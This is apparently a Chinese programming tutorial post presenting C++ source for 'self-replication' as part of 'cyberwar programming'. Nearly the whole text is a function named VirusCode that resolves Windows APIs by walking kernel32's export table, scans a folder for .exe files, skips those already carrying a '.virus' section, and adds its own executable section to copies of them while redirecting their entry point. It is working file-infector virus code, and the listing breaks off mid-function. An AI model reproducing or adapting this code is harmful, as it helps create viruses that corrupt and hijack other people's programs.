基于visual c++之windows核心编程代码分析(65)实现程序自我复制

我们进行信息安全与网络战编程的时候,经常需要实现程序的自我复制,

我们如何实现程序的自我复制呢,

请见代码

  1. #include <iostream.h> 
  2. #include <windows.h> 
  3. #include <stdio.h> 
  4.  
  5. // 
  6. //******************************************************************* 
  7. //*******以下为程序代码******* 
  8. //*******此段代码首先动态获取API入口地址 
  9. //*******然后实现代码的自我复制 
  10. //******************************************************************* 
  11. // 
  12. void VirusCode() 
  13.     // 
  14.     //  *******以下代码用于获取本函数在内存中的起始地址******* 
  15.     //  *******本函数功能相对独立******* 
  16.     // 
  17.     // 
  18.     //  *******变量说明******* 
  19.     //  **dwCodeBegin   :本函数的开始地址 
  20.     //  **dwCodeEnd     :本函数的结束地址 
  21.     //  **dwMyCodeAddr  :自己写的代码的开始地址 
  22.     // 
  23.     DWORD dwCodeBegin , dwCodeEnd , dwMyCodeAddr; 
  24.      
  25.     //  *******指针变量******* 
  26.     PBYTE pMove = NULL; 
  27.      
  28.     //  *******动态获取自己写的代码的开始地址******* 
  29.     _asm 
  30.     { 
  31.         call    A 
  32. A: 
  33.         pop     eax 
  34.              
  35.         mov     dwMyCodeAddr , eax 
  36.     } 
  37.      
  38.     //  *******把地址赋给变量******* 
  39.     pMove = (PBYTE)dwMyCodeAddr; 
  40.      
  41.     //  *******向前搜索得到函数的真正入口地址******* 
  42.     while(!((*pMove == 0x55) && (*(pMove + 1) == 0x8B))) 
  43.     { 
  44.         pMove --; 
  45.     } 
  46.      
  47.     //  *******此时pMove指向函数的入口push ebp处******* 
  48.     dwCodeBegin = (DWORD)pMove; 
  49.      
  50.     //cout << "开始地址为:" << hex << dwCodeBegin << endl; 
  51.      
  52.     //  *******从自己写的代码处向后搜索******* 
  53.     pMove = (PBYTE)dwMyCodeAddr; 
  54.      
  55.     while (!((*(pMove + 1) == 0x5B) && (*pMove == 0x5E) && (*(pMove - 1) == 0x5F)
  56.             && (*(pMove + 2) == 0x8B) && (*(pMove + 3) == 0xE5))) 
  57.     { 
  58.         pMove ++; 
  59.     } 
  60.      
  61.     pMove += 9; 
  62.     //  *******此时pMove指向ret的前一条指令pop ebp处******* 
  63.     dwCodeEnd = (DWORD)pMove; 
  64.  
  65.     DWORD dwFunCodeLen; 
  66.     dwFunCodeLen = dwCodeEnd - dwCodeBegin; 
  67.  
  68.     // 
  69.     //  *******上面为获取本函数的起始与结束地址******* 
  70.     // 
  71.  
  72.     // 
  73.     // 
  74.     //  *******下面动态获取API入口地址 
  75.     // 
  76.     // 
  77.  
  78.     //  *******定义用到的字符串******* 
  79.     char GetProcAddrName[] = {'G','e','t','P','r','o','c','A','d','d','r','e','s','s','\0'}; 
  80.     char LoadLibName[] = {'L','o','a','d','L','i','b','r','a','r','y','A','\0'}; 
  81.      
  82.     DWORD KernelBase; 
  83.     //  *******获取本程序结束后的返回地址,此地址必须在开始处获得******* 
  84.     _asm 
  85.     { 
  86.         mov eax , [ebp+4] 
  87.             mov KernelBase,eax 
  88.     } 
  89.  
  90.     // 
  91.     //  *******以下通过变换得到Kernel32.dll的基址******* 
  92.     // 
  93.     KernelBase = KernelBase & 0Xffff0000; 
  94.      
  95.     //  *******检查是否到了kernel32.dll的装载基址******* 
  96.     IMAGE_DOS_HEADER *doshead; 
  97.      
  98.     while(KernelBase >= 0X70000000) 
  99.     { 
  100.         //  *******首先检查dos文件头******* 
  101.         doshead = (IMAGE_DOS_HEADER*)KernelBase; 
  102.         if(doshead->e_magic == IMAGE_DOS_SIGNATURE) 
  103.         { 
  104.             //  *******再检查NT文件头******* 
  105.             IMAGE_NT_HEADERS* nthead; 
  106.             nthead = (IMAGE_NT_HEADERS*)((LPBYTE)doshead+doshead->e_lfanew); 
  107.             if(nthead->Signature == IMAGE_NT_SIGNATURE) 
  108.             { 
  109.                 break
  110.             } 
  111.         } 
  112.         KernelBase-=0x10000; 
  113.     } 
  114.  
  115.     // 
  116.     //  *******以下通过搜索kernel32.dll得到GetProcAddress的地址******* 
  117.     // 
  118.  
  119.     DWORD AddrOfGetProcAddr , AddrOfLoadLib; 
  120.     IMAGE_DOS_HEADER* pFile1;   //指向dos文件头 
  121.     IMAGE_NT_HEADERS* pFile2;   //指向nt文件头 
  122.      
  123.     //  *******检查文件的合法性******* 
  124.     pFile1 = (IMAGE_DOS_HEADER* )KernelBase; 
  125.     if(pFile1->e_magic != IMAGE_DOS_SIGNATURE) 
  126.     { 
  127.         return
  128.     } 
  129.     pFile2 = (IMAGE_NT_HEADERS*)((PBYTE)pFile1 + pFile1->e_lfanew); 
  130.     if(pFile2->Signature != IMAGE_NT_SIGNATURE) 
  131.     { 
  132.         return
  133.     } 
  134.      
  135.     IMAGE_EXPORT_DIRECTORY *pExport; 
  136.     pExport = (IMAGE_EXPORT_DIRECTORY *)((PBYTE)pFile1 + pFile2->OptionalHeader.DataDirectory[0].VirtualAddress); 
  137.      
  138.     //  *******以下在导出表中搜索名字为"GetProcAddress"的函数地址******* 
  139.     char *FunName; 
  140.     DWORD *AddrOfNameRVA; 
  141.     WORD *AddrOfNameOrRVA; 
  142.      
  143.     AddrOfNameRVA = (DWORD*)(KernelBase + pExport->AddressOfNames); 
  144.     for (int i = 0 ; i < (int)pExport->NumberOfNames ; i++) 
  145.     { 
  146.         FunName = (char*)(KernelBase + AddrOfNameRVA[i]); 
  147.  
  148.         //  *******函数名与字符串"GetProcAddress"进行比较******* 
  149.         BOOL eql = 1; 
  150.         for (int j = 0 ; j < 15 ; j ++) 
  151.         { 
  152.             if (GetProcAddrName[j] != FunName[j]) 
  153.             { 
  154.                 eql = 0; 
  155.                 break
  156.             } 
  157.         } 
  158.         //  *******如果字符串相等了,说明找到了******* 
  159.         if (eql) 
  160.         { 
  161.             AddrOfNameOrRVA = (WORD*)(KernelBase + pExport->AddressOfNameOrdinals); 
  162.              
  163.             int num = 0; 
  164.              
  165.             num = pExport->Base + AddrOfNameOrRVA[i]; 
  166.              
  167.             DWORD *AddrOfFun; 
  168.              
  169.             AddrOfFun = (DWORD*)(KernelBase + pExport->AddressOfFunctions); 
  170.             AddrOfGetProcAddr = KernelBase + AddrOfFun[num - 1]; 
  171.              
  172.             break
  173.         } 
  174.     } 
  175.  
  176.     // 
  177.     // 
  178.     //  *******以下集中获取要用到的API入口地址******* 
  179.     // 
  180.     // 
  181.  
  182.     //  *******定义GetProcAddress函数类型******* 
  183.     typedef DWORD (WINAPI *stGetProcAddress)(HMODULE , LPCSTR); 
  184.      
  185.     //  *******定义LoadLibraryA函数地址******* 
  186.     typedef DWORD (WINAPI *stLoadLibrary)(LPCSTR); 
  187.  
  188.     //  *******调用GetProcAddress获取LoadLibrary地址******* 
  189.     //  *******定义GetProcAddress函数变量******* 
  190.     stGetProcAddress myGetProcAddress; 
  191.      
  192.     //  *******给函数赋地址******* 
  193.     myGetProcAddress = (stGetProcAddress)AddrOfGetProcAddr; 
  194.      
  195.     //  *******调用GetProcAddress******* 
  196.     AddrOfLoadLib = myGetProcAddress((HMODULE)KernelBase , LoadLibName); 
  197.      
  198.     //  *******定义LoadLibrary函数变量******* 
  199.     stLoadLibrary myLoadLibrary; 
  200.      
  201.     //  *******给函数赋地址******* 
  202.     myLoadLibrary = (stLoadLibrary)AddrOfLoadLib; 
  203.      
  204.     char User32Name[] = {'u','s','e','r','3','2','.','d','l','l','\0'}; 
  205.     DWORD User32Base;   //存放user32.dll的基址 
  206.      
  207.     //  *******得到user32.dll的基址******* 
  208.     User32Base = myLoadLibrary(User32Name); 
  209.      
  210.     // 
  211.     //  *****获取CreateFile函数地址***** 
  212.     // 
  213.     //  *****首先定义函数类型***** 
  214.     typedef HANDLE (WINAPI *stCreateFile)(LPCTSTR , DWORD , DWORD , LPSECURITY_ATTRIBUTES ,  
  215.                             DWORD , DWORD , HANDLE); 
  216.     //  *****定义函数变量***** 
  217.     stCreateFile myCreateFile; 
  218.  
  219.     //  *****定义函数名称字符串***** 
  220.     char CreateFileName[] = {'C','r','e','a','t','e','F','i','l','e','A','\0'}; 
  221.  
  222.     //  *****获得函数地址***** 
  223.     myCreateFile = (stCreateFile)myGetProcAddress((HMODULE)KernelBase , CreateFileName); 
  224.  
  225.  
  226.     // 
  227.     //  *****获取CreateFileMapping函数地址***** 
  228.     // 
  229.     //  *****首先定义函数类型***** 
  230.     typedef HANDLE (WINAPI *stCreateFileMapping)(HANDLE , LPSECURITY_ATTRIBUTES ,  
  231.         DWORD , DWORD , DWORD , LPCTSTR ); 
  232.  
  233.     //  *****定义函数变量***** 
  234.     stCreateFileMapping myCreateFileMapping; 
  235.  
  236.     //  *****定义函数名称字符串***** 
  237.     char CreateFileMappingName[] = {'C','r','e','a','t','e','F','i','l','e'
  238.                                     'M','a','p','p','i','n','g','A','\0'}; 
  239.  
  240.     //  *****获得函数地址***** 
  241.     myCreateFileMapping = (stCreateFileMapping)myGetProcAddress((HMODULE)KernelBase ,  
  242.                             CreateFileMappingName); 
  243.      
  244.  
  245.     // 
  246.     //  *****获取MapViewOfFile函数地址***** 
  247.     // 
  248.     //  *****首先定义函数类型***** 
  249.     typedef LPVOID (WINAPI *stMapViewOfFile)(HANDLE , DWORD , DWORD , DWORD , DWORD); 
  250.  
  251.     //  *****定义函数变量***** 
  252.     stMapViewOfFile myMapViewOfFile; 
  253.      
  254.     //  *****定义函数名称字符串***** 
  255.     char MapViewOfFileName[] = {'M','a','p','V','i','e','w','O','f','F','i','l','e','\0'}; 
  256.      
  257.     //  *****获得函数地址***** 
  258.     myMapViewOfFile = (stMapViewOfFile)myGetProcAddress((HMODULE)KernelBase ,  
  259.                                                         MapViewOfFileName); 
  260.  
  261.  
  262.     // 
  263.     //  *****获取GlobalAlloc函数地址***** 
  264.     // 
  265.     //  *****首先定义函数类型***** 
  266.     typedef HGLOBAL (WINAPI *stGlobalAlloc)(UINT , SIZE_T); 
  267.  
  268.     //  *****定义函数变量***** 
  269.     stGlobalAlloc myGlobalAlloc; 
  270.      
  271.     //  *****定义函数名称字符串***** 
  272.     char GlobalAllocName[] = {'G','l','o','b','a','l','A','l','l','o','c','\0'}; 
  273.      
  274.     //  *****获得函数地址***** 
  275.     myGlobalAlloc = (stGlobalAlloc)myGetProcAddress((HMODULE)KernelBase ,  
  276.                                                         GlobalAllocName); 
  277.  
  278.  
  279.  
  280.     // 
  281.     //  *****获取RtlMoveMemory函数地址***** 
  282.     // 
  283.     //  *****首先定义函数类型***** 
  284.     typedef void (WINAPI *stRtlMoveMemory)(PVOID , const VOID* , SIZE_T ); 
  285.      
  286.     //  *****定义函数变量***** 
  287.     stRtlMoveMemory myRtlMoveMemory; 
  288.      
  289.     //  *****定义函数名称字符串***** 
  290.     char RtlMoveMemoryName[] = {'R','t','l','M','o','v','e','M','e','m','o','r','y','\0'}; 
  291.      
  292.     //  *****获得函数地址***** 
  293.     myRtlMoveMemory = (stRtlMoveMemory)myGetProcAddress((HMODULE)KernelBase ,  
  294.                                                         RtlMoveMemoryName); 
  295.  
  296.  
  297.  
  298.  
  299.     // 
  300.     //  *****获取SetFilePointer函数地址***** 
  301.     // 
  302.     //  *****首先定义函数类型***** 
  303.     typedef DWORD (WINAPI *stSetFilePointer)(HANDLE , LONG , PLONG , DWORD); 
  304.      
  305.     //  *****定义函数变量***** 
  306.     stSetFilePointer mySetFilePointer; 
  307.      
  308.     //  *****定义函数名称字符串***** 
  309.     char SetFilePointerName[] = {'S','e','t','F','i','l','e','P','o','i','n','t','e','r','\0'}; 
  310.      
  311.     //  *****获得函数地址***** 
  312.     mySetFilePointer = (stSetFilePointer)myGetProcAddress((HMODULE)KernelBase ,  
  313. SetFilePointerName);
  314.  
  315.  
  316.     // 
  317.     //  *****获取WriteFile函数地址***** 
  318.     // 
  319.     //  *****首先定义函数类型***** 
  320.     typedef BOOL (WINAPI *stWriteFile)(HANDLE , LPCVOID , DWORD , LPDWORD , LPOVERLAPPED); 
  321.      
  322.     //  *****定义函数变量***** 
  323.     stWriteFile myWriteFile; 
  324.      
  325.     //  *****定义函数名称字符串***** 
  326.     char WriteFileName[] = {'W','r','i','t','e','F','i','l','e','\0'}; 
  327.      
  328.     //  *****获得函数地址***** 
  329.     myWriteFile = (stWriteFile)myGetProcAddress((HMODULE)KernelBase ,  
  330.                                                         WriteFileName); 
  331.  
  332.  
  333.     // 
  334.     //  *****获取SetEndOfFile函数地址***** 
  335.     // 
  336.     //  *****首先定义函数类型***** 
  337.     typedef BOOL (WINAPI *stSetEndOfFile)(HANDLE); 
  338.  
  339.     //  *****定义函数变量***** 
  340.     stSetEndOfFile mySetEndOfFile; 
  341.      
  342.     //  *****定义函数名称字符串***** 
  343.     char SetEndOfFileName[] = {'S','e','t','E','n','d','O','f','F','i','l','e','\0'}; 
  344.      
  345.     //  *****获得函数地址***** 
  346.     mySetEndOfFile = (stSetEndOfFile)myGetProcAddress((HMODULE)KernelBase ,  
  347.                                                         SetEndOfFileName); 
  348.  
  349.  
  350.     // 
  351.     //  *****获取CloseHandle函数地址***** 
  352.     // 
  353.     //  *****首先定义函数类型***** 
  354.     typedef BOOL (WINAPI *stCloseHandle)(HANDLE); 
  355.  
  356.     //  *****定义函数变量***** 
  357.     stCloseHandle myCloseHandle; 
  358.      
  359.     //  *****定义函数名称字符串***** 
  360.     char CloseHandleName[] = {'C','l','o','s','e','H','a','n','d','l','e','\0'}; 
  361.      
  362.     //  *****获得函数地址***** 
  363.     myCloseHandle = (stCloseHandle)myGetProcAddress((HMODULE)KernelBase ,  
  364.                                                         CloseHandleName); 
  365.  
  366.  
  367.     // 
  368.     //  *****获取UnmapViewOfFile函数地址***** 
  369.     // 
  370.     //  *****首先定义函数类型***** 
  371.     typedef BOOL (WINAPI *stUnmapViewOfFile)(LPCVOID); 
  372.  
  373.  
  374.     //  *****定义函数变量***** 
  375.     stUnmapViewOfFile myUnmapViewOfFile; 
  376.      
  377.     //  *****定义函数名称字符串***** 
  378.     char UnmapViewOfFileName[] = {'U','n','m','a','p','V','i','e','w','O','f','F','i','l','e','\0'}; 
  379.      
  380.     //  *****获得函数地址***** 
  381.     myUnmapViewOfFile = (stUnmapViewOfFile)myGetProcAddress((HMODULE)KernelBase ,  
  382. UnmapViewOfFileName);
  383.  
  384.  
  385.     // 
  386.     //  *****获取FindFirstFile函数地址***** 
  387.     // 
  388.     //  *****首先定义函数类型***** 
  389.     typedef HANDLE (WINAPI *stFindFirstFile)(LPCTSTR , LPWIN32_FIND_DATA); 
  390.  
  391.  
  392.     //  *****定义函数变量***** 
  393.     stFindFirstFile myFindFirstFile; 
  394.      
  395.     //  *****定义函数名称字符串***** 
  396.     char FindFirstFileName[] = {'F','i','n','d','F','i','r','s','t','F','i','l','e','A','\0'}; 
  397.      
  398.     //  *****获得函数地址***** 
  399.     myFindFirstFile = (stFindFirstFile)myGetProcAddress((HMODULE)KernelBase ,  
  400.                                                         FindFirstFileName); 
  401.  
  402.  
  403.     // 
  404.     //  *****获取CopyFile函数地址***** 
  405.     // 
  406.     //  *****首先定义函数类型***** 
  407.     typedef BOOL (WINAPI *stCopyFile)(LPCTSTR , LPCTSTR , BOOL); 
  408.  
  409.  
  410.     //  *****定义函数变量***** 
  411.     stCopyFile myCopyFile; 
  412.      
  413.     //  *****定义函数名称字符串***** 
  414.     char CopyFileName[] = {'C','o','p','y','F','i','l','e','A','\0'}; 
  415.      
  416.     //  *****获得函数地址***** 
  417.     myCopyFile = (stCopyFile)myGetProcAddress((HMODULE)KernelBase ,  
  418.                                                         CopyFileName); 
  419.  
  420.  
  421.     // 
  422.     //  *****获取FindNextFile函数地址***** 
  423.     // 
  424.     //  *****首先定义函数类型***** 
  425.     typedef BOOL (WINAPI *stFindNextFile)(HANDLE , LPWIN32_FIND_DATA); 
  426.  
  427.     //  *****定义函数变量***** 
  428.     stFindNextFile myFindNextFile; 
  429.      
  430.     //  *****定义函数名称字符串***** 
  431.     char FindNextFileName[] = {'F','i','n','d','N','e','x','t','F','i','l','e','A','\0'}; 
  432.      
  433.     //  *****获得函数地址***** 
  434.     myFindNextFile = (stFindNextFile)myGetProcAddress((HMODULE)KernelBase ,  
  435.                                                         FindNextFileName); 
  436.  
  437.  
  438.     // 
  439.     //  *****获取FindClose函数地址***** 
  440.     // 
  441.     //  *****首先定义函数类型***** 
  442.     typedef BOOL (WINAPI *stFindClose)(HANDLE);  
  443.  
  444.     //  *****定义函数变量***** 
  445.     stFindClose myFindClose; 
  446.      
  447.     //  *****定义函数名称字符串***** 
  448.     char FindCloseName[] = {'F','i','n','d','C','l','o','s','e','\0'}; 
  449.      
  450.     //  *****获得函数地址***** 
  451.     myFindClose = (stFindClose)myGetProcAddress((HMODULE)KernelBase ,  
  452.                                                         FindCloseName); 
  453.  
  454.  
  455.     // 
  456.     //  *****获取lstrcat函数地址***** 
  457.     // 
  458.     //  *****首先定义函数类型***** 
  459.     typedef LPTSTR (WINAPI *stlstrcat)(LPTSTR , LPTSTR); 
  460.  
  461.     //  *****定义函数变量***** 
  462.     stlstrcat mylstrcat; 
  463.      
  464.     //  *****定义函数名称字符串***** 
  465.     char lstrcatName[] = {'l','s','t','r','c','a','t','\0'}; 
  466.      
  467.     //  *****获得函数地址***** 
  468.     mylstrcat = (stlstrcat)myGetProcAddress((HMODULE)KernelBase ,  
  469.                                                         lstrcatName); 
  470.  
  471.  
  472.     // 
  473.     //  *****获取lstrcpy函数地址***** 
  474.     // 
  475.     //  *****首先定义函数类型***** 
  476.     typedef LPTSTR (WINAPI *stlstrcpy)(LPTSTR , LPTSTR); 
  477.  
  478.     //  *****定义函数变量***** 
  479.     stlstrcpy mylstrcpy; 
  480.      
  481.     //  *****定义函数名称字符串***** 
  482.     char lstrcpyName[] = {'l','s','t','r','c','p','y','\0'}; 
  483.      
  484.     //  *****获得函数地址***** 
  485.     mylstrcpy = (stlstrcpy)myGetProcAddress((HMODULE)KernelBase ,  
  486.                                                         lstrcpyName); 
  487.  
  488.  
  489.     // 
  490.     //  *****获取lstrlen函数地址***** 
  491.     // 
  492.     //  *****首先定义函数类型***** 
  493.     typedef int (WINAPI *stlstrlen)(LPCTSTR); 
  494.  
  495.     //  *****定义函数变量***** 
  496.     stlstrlen mylstrlen; 
  497.      
  498.     //  *****定义函数名称字符串***** 
  499.     char lstrlenName[] = {'l','s','t','r','l','e','n','\0'}; 
  500.      
  501.     //  *****获得函数地址***** 
  502.     mylstrlen = (stlstrlen)myGetProcAddress((HMODULE)KernelBase ,  
  503.                                                         lstrlenName); 
  504.  
  505.  
  506.     // 
  507.     //  *****获取RtlZeroMemory函数地址***** 
  508.     // 
  509.     //  *****首先定义函数类型***** 
  510.     typedef void (WINAPI *stRtlZeroMemory)(PVOID , SIZE_T); 
  511.      
  512.     //  *****定义函数变量***** 
  513.     stRtlZeroMemory myRtlZeroMemory; 
  514.      
  515.     //  *****定义函数名称字符串***** 
  516.     char RtlZeroMemoryName[] = {'R','t','l','Z','e','r','o','M','e','m','o','r','y','\0'}; 
  517.      
  518.     //  *****获得函数地址***** 
  519.     myRtlZeroMemory = (stRtlZeroMemory)myGetProcAddress((HMODULE)KernelBase ,  
  520.                                                         RtlZeroMemoryName); 
  521.  
  522.     // 
  523.     // 
  524.     //  *******以上集中获取用到的API******* 
  525.     // 
  526.     // 
  527.  
  528.     // 
  529.     // 
  530.     //  *******下面为搜索并自我复制的代码******* 
  531.     // 
  532.     // 
  533.  
  534.      
  535.     //  *******搜索的带过滤条件的源目录******* 
  536.     char SourceDirFilter[] = {'D',':','\\','s','o','u','r','c','e','\\','*','.','e','x','e','\0'}; 
  537.  
  538.     //  *******不带条件的源目录******* 
  539.     char SourceDir[] = {'D',':','\\','s','o','u','r','c','e','\\','\0'}; 
  540.  
  541.     //  *******要复制的目录******* 
  542.     char DestDir[] = {'D',':','\\','d','e','s','t','i','n','a','\\','\0'}; 
  543.  
  544.     WIN32_FIND_DATA findBuf; 
  545.  
  546.     //  *******进行第一次搜索******* 
  547.     HANDLE hFileFind = myFindFirstFile(SourceDirFilter , &findBuf); 
  548.      
  549.     //  *******申请缓冲区,用于存放源文件的完整目录+文件名******* 
  550.     char *SourDirNameBuf = (char*)myGlobalAlloc(GPTR , MAX_PATH); 
  551.  
  552.     //  *******申请缓冲区,用于存放目的文件的完整目录+文件名******* 
  553.     char *DestDirNameBuf = (char*)myGlobalAlloc(GPTR , MAX_PATH); 
  554.  
  555.     //  *******对每一个文件进行复制感染操作******* 
  556.     do  
  557.     { 
  558.         //  *******缓冲区清空******* 
  559.         myRtlZeroMemory(SourDirNameBuf , MAX_PATH); 
  560.         myRtlZeroMemory(DestDirNameBuf , MAX_PATH); 
  561.  
  562.         //  *******把源目录放在缓冲区中******* 
  563.         mylstrcpy(SourDirNameBuf , SourceDir); 
  564.  
  565.         //  *******把搜索到的文件名添加在源目录后面******* 
  566.         mylstrcat(SourDirNameBuf , findBuf.cFileName); 
  567.  
  568.         //  *******把目的目录放在缓冲区中******* 
  569.         mylstrcpy(DestDirNameBuf , DestDir); 
  570.  
  571.         //  *******把搜索到的文件名添加在源目录后面******* 
  572.         mylstrcat(DestDirNameBuf , findBuf.cFileName); 
  573.  
  574.  
  575.         // 
  576.         //  *******以下对每一个文件感染******* 
  577.         // 
  578.         HANDLE hFile , hMapFile; 
  579.         LPVOID pMapOfFile = NULL; 
  580.          
  581.         char SecName[] = {'.','v','i','r','u','s','\0'};    //新添加的节名 
  582.  
  583.         // 
  584.         //*******检测文件合法性******* 
  585.         // 
  586.         //  *******打开文件******* 
  587.         hFile = myCreateFile(SourDirNameBuf , GENERIC_READ , FILE_SHARE_READ |  
  588.             FILE_SHARE_WRITE , NULL , OPEN_EXISTING , FILE_ATTRIBUTE_ARCHIVE , NULL); 
  589.          
  590.         if (INVALID_HANDLE_VALUE == hFile) 
  591.         { 
  592.             goto TheNextFile; 
  593.         } 
  594.          
  595.         //  *******创建文件映射******* 
  596.         hMapFile = myCreateFileMapping(hFile , NULL , PAGE_READONLY , 0 , 0 , NULL); 
  597.          
  598.         if (!hMapFile) 
  599.         { 
  600.             goto CLOSEFILEHANDLE; 
  601.         } 
  602.          
  603.         //  *******把文件映射到内存中******* 
  604.         pMapOfFile = myMapViewOfFile(hMapFile , FILE_MAP_READ , 0 , 0 , 0); 
  605.          
  606.         if (!pMapOfFile) 
  607.         { 
  608.             goto CLOSEMAPHANDLE; 
  609.         } 
  610.          
  611.         IMAGE_DOS_HEADER *pDosHeader; 
  612.          
  613.         //  ********检测DOS文件头******* 
  614.         pDosHeader = ( IMAGE_DOS_HEADER* )pMapOfFile; 
  615.          
  616.         if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE) 
  617.         { 
  618.             goto FreeViewOfMap; 
  619.         } 
  620.          
  621.         IMAGE_NT_HEADERS *pNtHeader; 
  622.          
  623.         //  *******检测NT文件头******* 
  624.         pNtHeader = (IMAGE_NT_HEADERS*)((PBYTE)pDosHeader + pDosHeader->e_lfanew); 
  625.          
  626.         if (pNtHeader->Signature != IMAGE_NT_SIGNATURE) 
  627.         { 
  628.             goto FreeViewOfMap; 
  629.         } 
  630.  
  631.         // 
  632.         //  *******检测感染标记******* 
  633.         // 
  634.         //  *******得到该文件的节表数******* 
  635.         int SecNum; 
  636.         SecNum = pNtHeader->FileHeader.NumberOfSections; 
  637.  
  638.         //  *******定位到节表开始处******* 
  639.         IMAGE_SECTION_HEADER *pSecHeader; 
  640.         pSecHeader = (IMAGE_SECTION_HEADER*)((PBYTE)pNtHeader + 248); 
  641.  
  642.         int i ; 
  643.         //  *******循环扫描各个节表,如果有节的名字为virus则说明已经被感染过******* 
  644.         for (i = 0 ; i < SecNum ; i ++) 
  645.         { 
  646.             char *SecNameAddr = (char*)pSecHeader->Name; 
  647.              
  648.             if ((SecNameAddr[0] == '.') && (SecNameAddr[1] == 'v') &&  
  649.                 (SecNameAddr[2] == 'i') && (SecNameAddr[3] == 'r') && 
  650.                 (SecNameAddr[4] == 'u') && (SecNameAddr[5] == 's')) 
  651.             { 
  652.                 //  *******直接退出******* 
  653.                 goto FreeViewOfMap; 
  654.             } 
  655.             //  *******查看下一个节表******* 
  656.             pSecHeader ++; 
  657.         } 
  658.  
  659.  
  660.         // 
  661.         //*******准备工作******* 
  662.         // 
  663.         BOOL bCopy; 
  664.          
  665.         //  *******首先把要添加程序代码的文件复制一份******* 
  666.         bCopy = myCopyFile(SourDirNameBuf , DestDirNameBuf , FALSE); 
  667.  
  668.         if (!bCopy) 
  669.         { 
  670.             goto FreeViewOfMap; 
  671.         } 
  672.          
  673.         HANDLE hNewFile; 
  674.  
  675.         //  *******打开刚刚复制的文件******* 
  676.         hNewFile = myCreateFile(DestDirNameBuf , GENERIC_READ | GENERIC_WRITE,FILE_SHARE_READ  
  677.             | FILE_SHARE_WRITE , NULL , OPEN_EXISTING , FILE_ATTRIBUTE_ARCHIVE , NULL); 
  678.          
  679.         if (!hNewFile) 
  680.         { 
  681.             goto FreeViewOfMap; 
  682.         } 
  683.          
  684.         HGLOBAL pNewFileHeader; 
  685.          
  686.         //  *******为新文件的文件头申请一块内存,用于修改文件头信息******* 
  687.         pNewFileHeader = myGlobalAlloc(GPTR , pNtHeader->OptionalHeader.SizeOfHeaders); 
  688.          
  689.         if (!pNewFileHeader) 
  690.         { 
  691.             goto CloseNewFileHandle; 
  692.         } 
  693.          
  694.         //  *******用原文件头填充这块内存******* 
  695.         myRtlMoveMemory((PVOID)pNewFileHeader , (PVOID)pMapOfFile , pNtHeader->OptionalHeader.SizeOfHeaders); 
  696.          
  697.         //  *******定义一个变量指向新内存的NT文件头处******* 
  698.         IMAGE_NT_HEADERS *pNewFileNtHeader; 
  699.          
  700.         pNewFileNtHeader = (IMAGE_NT_HEADERS*)((PBYTE)pNewFileHeader + pDosHeader->e_lfanew); 
  701.  
  702.          
  703.         // 
  704.         //*******此时的指针信息******* 
  705.         //*******pMapOfFile         :   原映射文件的开始 
  706.         //*******pDosHeader         :   原映射文件的DOS头,也就是文件开始,只不过类型不一样 
  707.         //*******pNTHeader          :   原映射文件的NT头 
  708.         //*******pNewFileHeader     :   新文件的开始 
  709.         //*******pNewFileNtHeader   :   新文件的NT头 
  710.         // 
  711.         //**************************************************************** 
  712.         //*******修改新文件的节表信息******* 
  713.         //**************************************************************** 
  714.         int nSecNum; 
  715.         nSecNum = pNtHeader->FileHeader.NumberOfSections; 
  716.         IMAGE_SECTION_HEADER *pLastSec , *pNewSec; 
  717.          
  718.         //  *******定位到原文件中的最后一个节表******* 
  719.         pLastSec = (IMAGE_SECTION_HEADER*)((PBYTE)pNewFileNtHeader + sizeof(IMAGE_NT_HEADERS) 
  720.             + (nSecNum-1) * sizeof(IMAGE_SECTION_HEADER)); 
  721.          
  722.         //  *******pNewSec为最后一个节表的结尾处,也就是新加节表的开头******* 
  723.         pNewSec = pLastSec + 1; 
  724.          
  725.         //*******修改新增节表的相关信息******* 
  726.         //*****节表总数加1***** 
  727.         pNewFileNtHeader->FileHeader.NumberOfSections ++; 
  728.          
  729.         //*****修改新节的文件偏移***** 
  730.         pNewSec->PointerToRawData = pLastSec->PointerToRawData + pLastSec->SizeOfRawData; 
  731.          
  732.         //*****修改新节的文件尺寸***** 
  733.         int nAlignNum; 
  734.          
  735.         nAlignNum = dwFunCodeLen / pNewFileNtHeader->OptionalHeader.FileAlignment; 
  736.         if (dwFunCodeLen % pNewFileNtHeader->OptionalHeader.FileAlignment != 0) 
  737.         { 
  738.             nAlignNum++; 
  739.         } 
  740.         pNewSec->SizeOfRawData = nAlignNum * pNewFileNtHeader->OptionalHeader.FileAlignment; 
  741.          
  742.         //*****修改所有代码长度按内存页对齐后的大小***** 
  743.         nAlignNum = dwFunCodeLen / pNewFileNtHeader->OptionalHeader.SectionAlignment; 
  744.         if (dwFunCodeLen % pNewFileNtHeader->OptionalHeader.SectionAlignment != 0) 
  745.         { 
  746.             nAlignNum ++; 
  747.         } 
  748.         pNewFileNtHeader->OptionalHeader.SizeOfCode += nAlignNum *  
  749.             pNewFileNtHeader->OptionalHeader.SectionAlignment; 
  750.          
  751.         //*****修改文件内存映像尺寸***** 
  752.         pNewFileNtHeader->OptionalHeader.SizeOfImage += nAlignNum *  
  753.             pNewFileNtHeader->OptionalHeader.SectionAlignment; 
  754.          
  755.         //*****修改新节的内存偏移量***** 
  756.         //*****用原最后节的内存偏移加上原最后节对齐后的内存尺寸的大小***** 
  757.         nAlignNum = pLastSec->Misc.VirtualSize /  
  758.             pNewFileNtHeader->OptionalHeader.SectionAlignment; 
  759.         if (pLastSec->Misc.VirtualSize % pNewFileNtHeader->OptionalHeader.SectionAlignment != 0) 
  760.         { 
  761.             nAlignNum ++; 
  762.         } 
  763.         pNewSec->VirtualAddress = nAlignNum * pNewFileNtHeader->OptionalHeader.SectionAlignment  
  764.             + pLastSec->VirtualAddress; 
  765.          
  766.         //*****修改新节的内存尺寸***** 
  767.         pNewSec->Misc.VirtualSize = dwFunCodeLen; 
  768.          
  769.         //*****更新新节属性***** 
  770.         pNewSec->Characteristics = IMAGE_SCN_CNT_CODE | IMAGE_SCN_MEM_EXECUTE |  
  771.             IMAGE_SCN_MEM_READ | IMAGE_SCN_MEM_WRITE; 
  772.          
  773.         //*****更新节名***** 
  774.         mylstrcpy((char*)pNewSec->Name , SecName); 
  775.          
  776.         //*****更新入口地址***** 
  777.         pNewFileNtHeader->OptionalHeader.AddressOfEntryPoint = pNewSec->VirtualAddress; 
  778.          
  779.         BOOL bWrite; 
  780.         DWORD dwHeaderSize , dwWriten; 
  781.         dwHeaderSize = (DWORD)(pNewFileNtHeader->OptionalHeader.SizeOfHeaders); 
  782.         bWrite = myWriteFile(hNewFile , (LPVOID)pNewFileHeader , dwHeaderSize ,  
  783.                                 &dwWriten , NULL); 
